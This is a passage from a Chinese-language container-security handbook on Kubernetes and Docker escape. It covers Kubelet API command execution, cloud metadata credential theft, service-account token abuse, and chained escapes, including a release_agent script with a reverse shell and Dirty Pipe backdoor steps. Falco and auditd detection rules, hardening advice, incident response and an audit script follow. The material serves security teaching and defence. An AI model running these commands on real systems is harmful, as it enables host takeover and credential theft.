curl -sk https://<K8s_Node_IP>:10250/run/<namespace>/<pod>/<container> \
-d '{"cmd":"/bin/bash","input":"cat /etc/shadow"}'
# 或者使用 /exec 端点
curl -sk https://<K8s_Node_IP>:10250/exec/<namespace>/<pod>/<container>?command=cat+/etc/shadow
利用 8.3: 云 Metadata SSRF
原理: 云厂商在每个实例上提供 Metadata 服务(169.254.169.254),用于实例自我管理。如果容器内可以访问这个地址,可以获取云凭据实现横向逃逸。
# 创建宿主机网络容器
docker run -dit --name metadata-test --network host alpine:latest
docker exec -it metadata-test /bin/sh
# AWS IMDSv1 (默认启用,无认证)
curl -s http://169.254.169.254/latest/meta-data/
# ami-id, hostname, iam/, ...
# 获取 IAM 临时凭据
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# 返回: AccessKeyId, SecretAccessKey, Token
# Azure
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# GCP
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/"
# 使用获取的凭据访问云 API
export AWS_ACCESS_KEY_ID="<获取的AK>"
export AWS_SECRET_ACCESS_KEY="<获取的SK>"
export AWS_SESSION_TOKEN="<获取的Token>"
aws sts get-caller-identity
# → 可能获得整个 AWS 账户的管理权限!
8.4 实验复现
实验 8.1: SA Token 完整逃逸实验
前置条件: 需要 K8s 集群环境
# === 创建有特权的 SA ===
cat > rbac.yaml << 'EOF'
apiVersion: v1
kind: ServiceAccount
metadata:
name: vulnerable-sa
namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: vulnerable-binding
subjects:
- kind: ServiceAccount
name: vulnerable-sa
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
EOF
kubectl apply -f rbac.yaml
# === 创建使用该 SA 的 Pod ===
cat > pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: default
spec:
serviceAccountName: vulnerable-sa
containers:
- name: alpine
image: alpine:latest
command: ["sleep", "3600"]
EOF
kubectl apply -f pod.yaml
# === 在 Pod 内利用 SA Token ===
kubectl exec -it escape-pod -- /bin/sh
# 获取 Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
# 列出所有 Pod
curl -sk -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
# 创建特权 Pod 逃逸 (参见利用 8.1)
# === 清理 ===
kubectl delete -f rbac.yaml
kubectl delete -f pod.yaml
实验 8.2: Kubelet API 未授权实验
# === 扫描 K8s Node 的 Kubelet 端口 ===
nmap -p 10250,10255,10256 <K8s_Node_IP>
# === 测试未授权访问 ===
# 只读端口 (10255, 已弃用但仍可能暴露)
curl -s http://<K8s_Node_IP>:10255/pods | jq '.items[].metadata.name'
# 读写端口 (10250, 需要认证)
curl -sk https://<K8s_Node_IP>:10250/pods
# 如果返回 Pod 列表 → 认证未配置!
# === 远程命令执行 ===
curl -sk https://<K8s_Node_IP>:10250/run/default/escape-pod/alpine \
-d '{"cmd":"id"}'
# uid=0(root) → 在目标容器中以 root 执行命令!
实验 8.3: 云 Metadata SSRF 实验
# === 宿主机网络容器 ===
docker run -dit --name metadata-lab --network host alpine:latest
docker exec -it metadata-lab /bin/sh
# === AWS Metadata 枚举 ===
# 检查是否在 AWS 环境中
curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null
# 如果可达,逐步枚举
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# === Azure Metadata ===
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# === GCP Metadata ===
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# === 清理 ===
exit
docker stop metadata-lab && docker rm metadata-lab
8.5 检测规则
# falco-rules-k8s-escape.yaml
# Kubernetes 环境逃逸检测规则
# 1. SA Token 异常使用
- rule: ServiceAccount Token Access from Container
desc: Detect unusual access to ServiceAccount token
condition: >
container and open_read and
fd.name contains "/var/run/secrets/kubernetes.io"
output: >
SA Token access from container
container=%container.name file=%fd.name command=%proc.cmdline
priority: WARNING
tags: [k8s, escape, sa_token]
# 2. Kubelet API 通信
- rule: Kubelet API Communication from Container
desc: Detect communication with Kubelet API from container
condition: >
container and
(fd.sport=10250 or fd.sport=10255) and
not proc.name in (kubelet, kube-proxy)
output: >
Kubelet API communication from container
container=%container.name connection=%fd.name
priority: WARNING
tags: [k8s, escape, kubelet]
# 3. Cloud Metadata 访问
- rule: Cloud Metadata Access from Container
desc: Detect access to cloud metadata service from container
condition: >
container and
fd.sip="169.254.169.254"
output: >
Cloud metadata access from container
container=%container.name connection=%fd.name
priority: WARNING
tags: [k8s, escape, cloud_metadata]
# 4. 特权 Pod 创建
- rule: Privileged Pod Creation via API
desc: Detect creation of privileged pods
condition: >
(evt.type in (open,openat) and fd.name contains "kube-api" and
container.privileged=true)
output: >
Privileged pod creation detected
container=%container.name image=%container.image.repository
priority: CRITICAL
tags: [k8s, escape, privileged_pod]
# 5. nsenter in K8s context
- rule: Namespace Escape in Kubernetes
desc: Detect nsenter usage in K8s pods
condition: >
container and proc.name = "nsenter" and
not proc.pname in (runc, containerd, kubelet)
output: >
Namespace escape via nsenter in K8s pod
container=%container.name command=%proc.cmdline
priority: CRITICAL
tags: [k8s, escape, namespace]
# auditd-k8s-escape.rules
# K8s 逃逸审计规则
# 监控云 Metadata 访问
-a always,exit -F arch=b64 -S connect -F a2=169.254.169.254 -F key=cloud_metadata
# 监控 Kubelet 端口通信
-a always,exit -F arch=b64 -S connect -F a2=10250 -F key=kubelet_api
# 监控 SA Token 读取
-a always,exit -F arch=b64 -S openat -F path=/var/run/secrets -F key=sa_token_access
8.6 加固方案
| 加固项 | 修复前 | 修复后 | 优先级 |
|---|---|---|---|
| SA 最小权限 | cluster-admin RBAC | 精确 Role/RoleBinding | P0 |
| automountServiceAccountToken: false | 默认挂载 | 不自动挂载 SA Token | P0 |
| Kubelet 认证 | 匿名访问 | --anonymous-auth=false + 证书认证 |
P0 |
| 网络策略 | 无限制 | NetworkPolicy 阻止 Metadata 访问 | P0 |
| Pod Security Standards | 无限制 | Privileged/Baseline/Restricted 分级 | P1 |
| 禁止特权 Pod | privileged: true |
privileged: false + 严格 securityContext |
P0 |
| hostPID/hostNetwork | 允许 | 禁止(除非必要) | P1 |
| IMDSv2 | IMDSv1(无认证) | IMDSv2(需 Token) | P0 |
| 云 IAM 最小权限 | 过大权限 | 精确策略 + 条件限制 | P1 |
K8s 安全 Pod 模板:
apiVersion: v1
kind: Pod
metadata:
name: secure-k8s-pod
spec:
automountServiceAccountToken: false
hostPID: false
hostNetwork: false
hostIPC: false
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: nginx:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}
NetworkPolicy 阻止 Metadata 访问:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-access
namespace: default
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
Kubelet 安全配置:
# /var/lib/kubelet/config.yaml
authentication:
anonymous:
enabled: false # 禁止匿名访问
webhook:
enabled: true # 启用 webhook 认证
authorization:
mode: Webhook # webhook 授权
readOnlyPort: 0 # 禁用只读端口 (10255)
第九章 组合攻击链
核心原理: 现实中的容器逃逸很少只依赖单一技术。攻击者通常将多个低危漏洞或可利用条件串联成一条完整的攻击路径,实现从容器内到宿主机完全控制。单个机制的问题可能只是"信息泄漏",但组合其他机制后就能变成"远程代码执行"。
9.1 设计原理:攻击链的乘法效应
单一逃逸技术的效果往往有限:
- OverlayFS 路径泄漏 → 只是知道了宿主机路径,无法直接执行命令
- Cgroup release_agent → 需要知道容器在宿主机上的路径才能设置 payload
- Namespace fd 泄漏 → 只是看到了宿主机 fd,需要 CAP_SYS_ADMIN 才能切换
但当这些技术组合时,产生乘法效应:
OverlayFS 路径泄漏 × Cgroup release_agent = 宿主机 RCE
(知道路径) × (可执行命令) = (在宿主机执行任意命令)
CVE-2024-21626 × Dirty Pipe = 不可检测的文件篡改
(fd泄漏, 可访问文件) × (可修改只读文件) = (篡改宿主机任意文件)
CAP_SYS_PTRACE × --pid=host = 宿主机进程注入
(可调试进程) × (可看到宿主机进程) = (注入宿主机进程)
9.2 四条经典攻击链
链路 1: OverlayFS 路径泄漏 → Cgroup release_agent → 宿主机 RCE
┌─────────────────────────────────────────────────────────────┐
│ 攻击链路 1: OverlayFS → Cgroup → Host RCE │
│ │
│ [阶段1] OverlayFS 路径泄漏 │
│ ┌──────────────────────────────────┐ │
│ │ grep upperdir /proc/self/mountinfo │ │
│ │ → /var/lib/docker/overlay2/xxx/merged │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段2] 写入 payload 到容器文件系统(宿主机可见) │
│ ┌──────────────────────────────────┐ │
│ │ echo '#!/bin/sh' > /cmd │ │
│ │ echo 'bash -i >& /dev/tcp/...' >> /cmd│ │
│ │ chmod +x /cmd │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段3] Cgroup release_agent 触发 │
│ ┌──────────────────────────────────┐ │
│ │ echo "<upperdir>/cmd" > │ │
│ │ /sys/fs/cgroup/memory/release_agent │
│ │ mkdir /sys/fs/cgroup/memory/escape│ │
│ │ echo 1 > notify_on_release │ │
│ │ echo $$ > cgroup.procs && exit │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段4] 宿主机以 root 执行 evil.sh │
│ ┌──────────────────────────────────┐ │
│ │ call_usermodehelper() 调用 │ │
│ │ prepare_kernel_cred(NULL) → root │ │
│ │ 反向 shell 连接到攻击者 │ │
│ └──────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
#!/bin/bash
# attack-chain-1.sh — OverlayFS 路径泄漏 → Cgroup release_agent → 宿主机 RCE
#
# 前置条件: cgroup v1, release_agent 可写, /proc/self/mountinfo 可读
echo "=== 攻击链路 1: OverlayFS → Cgroup → Host RCE ==="
# 阶段1: 提取宿主机路径
UPPERDIR=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo | head -1 | \
sed 's/upperdir=//')
echo "[阶段1] 宿主机 upperdir: $UPPERDIR"
# 阶段2: 写入 payload 到宿主机可见位置
PAYLOAD_HOST_PATH="$UPPERDIR/../.escape_$$.sh"
cat > /tmp/.escape_payload.sh << 'PAYLOAD'
#!/bin/bash
# 在宿主机以 root 执行
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>/dev/null &
chmod 4777 /tmp/rootshell
cp /bin/bash /tmp/rootshell
echo "[+] Escape successful!" > /tmp/escape_flag
PAYLOAD
chmod +x /tmp/.escape_payload.sh
echo "[阶段2] Payload 已就绪: $PAYLOAD_HOST_PATH"
# 阶段3: 设置 release_agent
echo "[阶段3] 设置 release_agent..."
echo "$PAYLOAD_HOST_PATH" > /sys/fs/cgroup/memory/release_agent 2>/dev/null
mkdir -p /sys/fs/cgroup/memory/escape_$$
echo 1 > /sys/fs/cgroup/memory/escape_$$/notify_on_release 2>/dev/null
echo $$ > /sys/fs/cgroup/memory/escape_$$/cgroup.procs 2>/dev/null
# 阶段4: 触发
echo "[阶段4] 触发 release_agent..."
(sleep 1; echo "触发器进程退出") &
echo "[*] 如果成功, payload 已在宿主机执行"
echo "[*] 检查: cat /tmp/escape_flag"
echo "[*] 检查: nc -lvnp 4444"
链路 2: CAP_SYS_MODULE → 内核 Rootkit → 完全控制
┌─────────────────────────────────────────────────────────────┐
│ 攻击链路 2: 内核模块注入 → 完全控制 │
│ │
│ [阶段1] 确认 CAP_SYS_MODULE 生效 │
│ ┌──────────────────────────────────┐ │
│ │ capsh --print | grep sys_module │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段2] 从 /proc/self/mountinfo 泄漏宿主机路径 │
│ ┌──────────────────────────────────┐ │
│ │ 或利用 CAP_SYS_ADMIN mount 设备 │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段3] 编译+加载恶意内核模块 │
│ ┌──────────────────────────────────┐ │
│ │ insmod rootkit.ko │ │
│ └──────────────┬───────────────────┘ │
│ ↓ │
│ [阶段4] Rootkit 激活 — 完全控制宿主机 │
│ ┌──────────────────────────────────┐ │
│ │ → 当前进程获得 root 凭据 │ │
│ │ → 隐藏进程/文件/网络连接 │ │
│ └──────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
链路 3: Dirty Pipe → /etc/passwd 篡改 → SSH 免密登录
┌─────────────────────────────────────────────────────────────┐
│ 攻击链路 3: 内核漏洞 → 文件篡改 → 持久化访问 │
│ │
│ [阶段1] 确认内核版本在受影响范围 │
│ │ uname -r → 5.13.0-xxx (5.8 ≤ ver ≤ 5.16.11) │
│ ↓ │
│ [阶段2] 编译 Dirty Pipe exploit │
│ ↓ │
│ [阶段3] 执行 exploit, 修改宿主机文件 │
│ │ ./dp /etc/passwd 1 $'usr::0:0...' │
│ │ 或 ./dp /root/.ssh/authorized_keys 0 'ssh-rsa ...' │
│ ↓ │
│ [阶段4] 获取持久化 shell 访问 │
│ │ ssh root@<宿主机IP> 或 su backdoor → root shell │
└─────────────────────────────────────────────────────────────┘
链路 4: Namespace fd 泄漏 → setns → 宿主机 shell
┌─────────────────────────────────────────────────────────────┐
│ 攻击链路 4: 进程描述符泄漏 → NS 跳转 → 直接逃逸 │
│ │
│ [阶段1] 检查是否有特权或能访问宿主机进程 │
│ │ --privileged 或 --pid host │
│ ↓ │
│ [阶段2] 扫描宿主机 NS fd │
│ │ for ns in /proc/*/ns/* → 找到不同 NS 的目标 │
│ ↓ │
│ [阶段3] 切换到宿主机 NS │
│ │ nsenter -t <host_pid> -a bash │
│ ↓ │
│ [阶段4] 在宿主机环境中了! │
│ │ hostname → 宿主机名, cat /etc/shadow → 密码文件 │
└─────────────────────────────────────────────────────────────┘
9.3 真实案例还原
案例 1: CVE-2019-5736 实战还原
时间线: 2019年2月, runc 容器逃逸漏洞披露
2019-02-11
Alex Ivkin 和 Adam Korczynski 发现 runc CVE-2019-5736
漏洞类型: 文件描述符泄漏 → 宿主机二进制覆写
攻击链还原:
1. 攻击者在容器内获取 root 权限
2. 打开 /proc/self/exe (指向 /usr/bin/runc)
→ 获得 runc 的文件描述符 fd=X
3. 通过 inotify 监控 /proc/self/exe
4. 等待管理员执行 docker exec <container> command
5. runc 执行时短暂将自身 re-exec 到宿主机上下文中
6. 攻击者检测到 exec 事件, 通过 /proc/self/fd/X 写入
runc 二进制文件 (在被宿主机 exec 的短暂窗口内)
7. runc 二进制被替换为恶意程序
8. 下一次任何 runc 操作时将在宿主机以 root 身份执行恶意代码
影响: Docker < 18.09.2, runc < 1.0-rc6, Podman, LXC
修复: runc 1.0-rc6+ — 使用 memfd_create 代替 /proc/self/exe
CVE: CVE-2019-5736
CVSS: 8.6 (HIGH)
案例 2: CVE-2024-21626 + Dirty Pipe 组合
时间线: 2024年1月, runc 工作目录 fd 泄漏
2024-01-31
CVE-2024-21626 披露: runc 工作目录文件描述符泄漏
漏洞类型: fd 泄漏 → 宿主机文件系统访问
攻击链还原 (与 Dirty Pipe 组合):
1. 利用 CVE-2024-21626: 通过 /proc/self/fd/ 访问
runc 打开的工作目录 (宿主机上的目录)
2. 探测宿主机内核版本: uname -r 确认是否受 Dirty Pipe 影响
3. 如果内核版本 ≤ 5.16.11:
a. 编译 Dirty Pipe exploit
b. 通过泄漏的 fd 获取宿主机文件路径
c. 用 Dirty Pipe 修改 /etc/passwd
d. 添加后门 root 用户
4. 通过 SSH 直接登录宿主机
5. 持久化: 安装 rootkit, 横向移动, 数据窃取
两个漏洞的组合效果: 1 + 1 > 2
- CVE-2024-21626: 提供了文件系统访问 (读+写的能力)
- CVE-2022-0847: 提供了不可检测的只读文件修改能力
- 组合: 可以修改宿主机上任何只读的敏感文件!
9.4 应急响应流程
容器逃逸事件应急响应流程:
┌─────────────────────────────────────────────────────────────────┐
│ 应急响应流程 │
│ │
│ 第0步: 隔离 (0-5分钟) │
│ │ docker stop <compromised_container> │
│ │ 隔离网络: iptables -I INPUT -j DROP │
│ ↓ │
│ 第1步: 取证 (5-30分钟) │
│ │ docker logs <container> --tail 1000 │
│ │ docker inspect <container> │
│ │ 保存容器文件系统: docker commit → tar │
│ │ 检查 /proc/self/mountinfo 泄漏路径 │
│ ↓ │
│ 第2步: 分析攻击路径 (30分钟-2小时) │
│ │ 检查容器 Capability 配置 │
│ │ 检查是否特权容器/proc 挂载 │
│ │ 检查挂载的卷和 docker.sock │
│ │ 分析 shell 历史 (.bash_history) │
│ │ 检查 cgroup v1 release_agent 是否被修改 │
│ ↓ │
│ 第3步: 确定影响范围 (1-4小时) │
│ │ 检查宿主机上是否有新用户/新进程 │
│ │ 检查 /etc/passwd, /etc/shadow 完整性 │
│ │ 检查 /root/.ssh/authorized_keys │
│ │ 检查 crontab 是否有新条目 │
│ │ 检查内核模块: lsmod │
│ │ 检查网络连接: netstat -antp │
│ ↓ │
│ 第4步: 整改加固 (4-8小时) │
│ │ 内核升级, Docker/runc 版本升级 │
│ │ 启用 Seccomp/AppArmor/SELinux │
│ │ 部署 Falco 运行时检测 │
│ │ 实施最小权限原则 (cap-drop ALL) │
│ │ 升级到 Cgroup v2 (移除 release_agent) │
│ ↓ │
│ 第5步: 事后复盘 (长期) │
│ │ 分析攻击者 TTPs, 更新威胁模型 │
│ │ 调整安全策略和基线, 定期演练 │
└─────────────────────────────────────────────────────────────────┘
#!/bin/bash
# incident-response-checklist.sh — 容器逃逸应急响应检查清单
#
# 用法: 在疑似被入侵的宿主机上执行
echo "==============================================="
echo " 容器逃逸应急响应检查清单"
echo "==============================================="
date
echo ""
# 第0步: 隔离
echo "[0] 隔离状态检查"
echo " 运行中的容器: $(docker ps -q 2>/dev/null | wc -l)"
# 第1步: 取证
echo "[1] 取证数据收集"
echo " Docker 版本: $(docker --version 2>/dev/null)"
# 检查最近创建的容器
echo " 最近创建的容器:"
docker ps -a --format '{{.CreatedAt}} {{.Names}}' 2>/dev/null | sort -r | head -10
# 第2步: 分析
echo "[2] 安全配置分析"
echo " 特权容器检查:"
docker ps --format '{{.Names}}' 2>/dev/null | while read c; do
PRIV=$(docker inspect "$c" --format '{{.HostConfig.Privileged}}' 2>/dev/null)
if [ "$PRIV" = "true" ]; then
echo " [!] 特权容器: $c"
fi
done
echo " Capabilities 检查:"
docker ps --format '{{.Names}}' 2>/dev/null | while read c; do
CAPS=$(docker inspect "$c" --format '{{.HostConfig.CapAdd}}' 2>/dev/null)
if [ "$CAPS" != "[]" ] && [ "$CAPS" != "<no value>" ]; then
echo " [!] $c 有额外 Capabilities: $CAPS"
fi
done
# 第3步: 影响范围
echo "[3] 影响范围评估"
echo " /etc/passwd 修改时间: $(stat -c %y /etc/passwd 2>/dev/null)"
echo " /root/.ssh/authorized_keys 内容:"
cat /root/.ssh/authorized_keys 2>/dev/null | head -5
echo " 最近的登录记录:"
last -5 2>/dev/null
echo " 可疑进程:"
ps auxf | grep -E 'bash.*-i|nc.*-e|python.*pty' 2>/dev/null | grep -v grep
# 第4步: 加固建议
echo "[4] 加固建议"
echo " [ ] 升级内核到最新稳定版"
echo " [ ] 升级 Docker/runc/containerd"
echo " [ ] 启用 --cap-drop ALL 默认策略"
echo " [ ] 部署 Falco 运行时检测"
echo " [ ] 使用 Cgroup v2 (移除 release_agent)"
echo ""
echo "==============================================="
echo " 检查完成"
echo "==============================================="
附录
附录 A:一键内核机制安全检查脚本
以下脚本覆盖本手册全部六大内核隔离机制,同时检查 Docker 配置不当、K8s 环境等逃逸条件,输出彩色风险矩阵和加固建议。
#!/bin/bash
# linux-container-security-audit.sh
# Linux 容器安全 — 六大机制 + Docker/K8s 综合检查脚本
#
# 用法:
# 宿主机上: bash linux-container-security-audit.sh
# 容器内: bash linux-container-security-audit.sh
#
# 输出: 终端彩色风险矩阵 + 文本报告
set -e
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
echo "╔══════════════════════════════════════════════════════════╗"
echo "║ Linux 容器安全 — 六大机制综合安全检查 ║"
echo "║ Kernel Security Audit Tool v2.0 ║"
echo "╚══════════════════════════════════════════════════════════╝"
echo ""
echo "执行时间: $(date)"
echo "主机名: $(hostname)"
echo "内核版本: $(uname -r)"
echo ""
RISK_COUNT=0
RISK_TOTAL=0
risk() {
local level="$1"
local check="$2"
local result="$3"
RISK_TOTAL=$((RISK_TOTAL + 1))
case "$level" in
CRITICAL)
echo -e "${RED}[!!!] $check: $result${NC}"
RISK_COUNT=$((RISK_COUNT + 3))
;;
HIGH)
echo -e "${RED}[!!] $check: $result${NC}"
RISK_COUNT=$((RISK_COUNT + 2))
;;
WARNING)
echo -e "${YELLOW}[!] $check: $result${NC}"
RISK_COUNT=$((RISK_COUNT + 1))
;;
OK)
echo -e "${GREEN}[+] $check: $result${NC}"
;;
esac
}
echo "══════════════════════════════════════════════════════════"
echo " 第一章: Namespace 检查"
echo "══════════════════════════════════════════════════════════"
# 1.1 检查当前 NS 信息
echo "[1.1] Namespace 类型检查"
for ns in pid mnt net user ipc uts cgroup time; do
ns_inode=$(readlink /proc/self/ns/$ns 2>/dev/null)
if [ -n "$ns_inode" ]; then
risk OK "$ns NS" "$ns_inode"
else
risk WARNING "$ns NS" "不可用"
fi
done
# 1.2 检查宿主机 NS 可达性
echo "[1.2] 宿主机 NS 可达性 (PID 可见性)"
FOREIGN_NS=0
for pid_dir in /proc/[0-9]*; do
pid=$(basename "$pid_dir")
if [ -f "$pid_dir/ns/pid" ]; then
my_pid_ns=$(readlink /proc/self/ns/pid)
target_pid_ns=$(readlink "$pid_dir/ns/pid" 2>/dev/null)
if [ "$my_pid_ns" != "$target_pid_ns" ] && [ -n "$target_pid_ns" ]; then
FOREIGN_NS=$((FOREIGN_NS + 1))
fi
fi
done
if [ $FOREIGN_NS -gt 0 ]; then
risk CRITICAL "外部 NS 可达" "发现 $FOREIGN_NS 个外部 PID Namespace (可 nsenter 切换!)"
else
risk OK "外部 NS 可达" "PID NS 隔离有效, 未发现外部进程"
fi
# 1.3 setns / nsenter 可用性
echo "[1.3] nsenter/setns 系统调用可用性"
if command -v nsenter &>/dev/null; then
risk HIGH "nsenter 可用" "容器内可执行 NS 切换 (nsenter)"
else
risk OK "nsenter 可用" "未安装 nsenter"
fi
# 1.4 Docker 特定 NS 配置
echo "[1.4] Docker NS 隔离模式"
if grep -q "docker" /proc/1/cgroup 2>/dev/null; then
# PID 模式
PID_NS=$(readlink /proc/1/ns/pid 2>/dev/null)
SELF_NS=$(readlink /proc/self/ns/pid 2>/dev/null)
if [ "$PID_NS" != "$SELF_NS" ]; then
risk OK "PID 模式" "PID NS 隔离正常"
fi
# 网络模式
if ip link show | grep -q "eth0"; then
risk OK "网络模式" "独立网络命名空间"
else
risk WARNING "网络模式" "可能为 --net=host"
fi
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第二章: Cgroup 检查"
echo "══════════════════════════════════════════════════════════"
# 2.1 Cgroup 版本
echo "[2.1] Cgroup 版本"
CGROUP_TYPE=$(stat -fc %T /sys/fs/cgroup/ 2>/dev/null)
case "$CGROUP_TYPE" in
cgroup2fs)
risk OK "Cgroup 版本" "v2 (unified) — release_agent 已移除"
;;
tmpfs)
CGROUP_V1=0
for subsys in /sys/fs/cgroup/*; do
if [ -d "$subsys" ] && [ -w "$subsys/release_agent" ] 2>/dev/null; then
CGROUP_V1=$((CGROUP_V1 + 1))
fi
done
if [ $CGROUP_V1 -gt 0 ]; then
risk CRITICAL "Cgroup 版本" "v1 — $CGROUP_V1 个可写的 release_agent!"
else
risk WARNING "Cgroup 版本" "v1 — release_agent 只读"
fi
;;
*)
risk WARNING "Cgroup 版本" "未知: $CGROUP_TYPE"
;;
esac
# 2.2 release_agent 详细检查
echo "[2.2] release_agent 详细检查"
FOUND_RA=0
if [ -d /sys/fs/cgroup ]; then
for subsys_dir in /sys/fs/cgroup/*/; do
ra_file="${subsys_dir}release_agent"
if [ -f "$ra_file" ]; then
subsys_name=$(basename "$subsys_dir" | xargs basename)
ra_content=$(cat "$ra_file" 2>/dev/null)
if [ -w "$ra_file" ] 2>/dev/null; then
risk CRITICAL "release_agent" "$subsys_name: 可写! 当前值=$ra_content"
FOUND_RA=$((FOUND_RA + 1))
else
risk OK "release_agent" "$subsys_name: 只读 (安全)"
fi
fi
done 2>/dev/null
fi
if [ $FOUND_RA -eq 0 ]; then
risk OK "release_agent 汇总" "无可写的 release_agent (安全)"
fi
# 2.3 notify_on_release
echo "[2.3] notify_on_release 检查"
NON_COUNT=$(find /sys/fs/cgroup -name "notify_on_release" -exec grep -l "^1$" {} \; 2>/dev/null | wc -l)
if [ $NON_COUNT -gt 0 ]; then
risk WARNING "notify_on_release" "$NON_COUNT 个 cgroup 已启用"
else
risk OK "notify_on_release" "全部未激活"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第三章: Capabilities 检查"
echo "══════════════════════════════════════════════════════════"
# 3.1 获取当前能力
echo "[3.1] 当前进程 Capabilities"
if command -v capsh &>/dev/null; then
CAP_OUTPUT=$(capsh --print 2>/dev/null)
echo "$CAP_OUTPUT" | head -5
# 检查危险 CAP (使用 +i 匹配,不区分大小写)
DANGEROUS_CAPS="cap_sys_admin cap_sys_ptrace cap_sys_module cap_sys_rawio cap_net_admin cap_dac_read_search cap_dac_override cap_bpf cap_sys_boot cap_syslog"
for cap in $DANGEROUS_CAPS; do
if echo "$CAP_OUTPUT" | grep -qi "${cap}"; then
risk CRITICAL "危险 Cap" "$cap 在有效集中!"
fi
done
else
# 从 /proc/self/status 读取
CAP_EFF=$(grep CapEff /proc/self/status | awk '{print $2}')
if [ "$CAP_EFF" = "0000003fffffffff" ]; then
risk CRITICAL "CapEff" "0x$CAP_EFF — 完整 root 能力集 (等同 --privileged)"
else
risk WARNING "capsh 不可用" "CapEff=0x$CAP_EFF (从 /proc/self/status)"
fi
fi
# 3.2 文件能力检查
echo "[3.2] 文件能力检查 (File Capabilities)"
if command -v getcap &>/dev/null; then
FILE_CAPS=$(getcap -r /usr/bin/ /usr/sbin/ /bin/ /sbin/ 2>/dev/null | head -20)
if [ -n "$FILE_CAPS" ]; then
risk WARNING "文件能力" "发现带有文件能力的程序:"
echo "$FILE_CAPS" | while read line; do
echo " $line"
done
else
risk OK "文件能力" "未发现异常文件能力"
fi
else
risk WARNING "getcap 不可用" "无法检查文件能力"
fi
# 3.3 SECBIT 检查
echo "[3.3] SecureBits/no-new-privileges"
if [ -f /proc/self/status ]; then
NO_NEW_PRIVS=$(grep NoNewPrivs /proc/self/status 2>/dev/null | awk '{print $2}')
if [ "$NO_NEW_PRIVS" = "1" ]; then
risk OK "NoNewPrivs" "已启用 (禁止获取新权限)"
else
risk WARNING "NoNewPrivs" "未启用 (可获取新权限)"
fi
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第四章: /proc 和 /sys 检查"
echo "══════════════════════════════════════════════════════════"
# 4.1 mountinfo 路径泄漏
echo "[4.1] /proc/self/mountinfo 路径泄漏"
UPPERDIR=$(grep -oP 'upperdir=[^,]+' /proc/self/mountinfo 2>/dev/null | head -1)
if [ -n "$UPPERDIR" ]; then
risk WARNING "OverlayFS 路径" "泄漏宿主机路径: $UPPERDIR"
else
risk OK "OverlayFS 路径" "无泄漏"
fi
# 4.2 core_pattern
echo "[4.2] core_pattern 可写性"
if [ -w /proc/sys/kernel/core_pattern ] 2>/dev/null; then
CP_VALUE=$(cat /proc/sys/kernel/core_pattern 2>/dev/null)
risk CRITICAL "core_pattern" "可写! 当前值=$CP_VALUE"
else
risk OK "core_pattern" "只读 (受保护)"
fi
# 4.3 sysrq-trigger
echo "[4.3] SysRq 可写性"
if [ -w /proc/sysrq-trigger ] 2>/dev/null; then
risk HIGH "SysRq" "可写 — 可重启/崩溃系统"
else
risk OK "SysRq" "不可写"
fi
# 4.4 kallsyms (KASLR 信息泄露)
echo "[4.4] /proc/kallsyms (KASLR)"
if [ -r /proc/kallsyms ] 2>/dev/null; then
SYM_COUNT=$(head -100 /proc/kallsyms 2>/dev/null | wc -l)
if [ "$SYM_COUNT" -gt 0 ]; then
risk WARNING "kallsyms" "可读 ($SYM_COUNT+ 个符号) — KASLR 可被绕过"
else
risk OK "kallsyms" "不可读 (KPTI 保护)"
fi
else
risk OK "kallsyms" "不可读 (KPTI 保护)"
fi
# 4.5 kcore (物理内存映射)
echo "[4.5] /proc/kcore (物理内存)"
if [ -r /proc/kcore ] 2>/dev/null; then
risk CRITICAL "kcore" "可读 — 物理内存可被直接访问!"
else
risk OK "kcore" "不可读"
fi
# 4.6 /dev/mem 和 /dev/kmem
echo "[4.6] /dev/mem 和 /dev/kmem"
if [ -r /dev/mem ] 2>/dev/null; then
risk CRITICAL "/dev/mem" "可读 — 物理内存可被直接访问!"
else
risk OK "/dev/mem" "不可读"
fi
if [ -r /dev/kmem ] 2>/dev/null; then
risk CRITICAL "/dev/kmem" "可读 — 内核内存可被直接访问!"
else
risk OK "/dev/kmem" "不可读"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
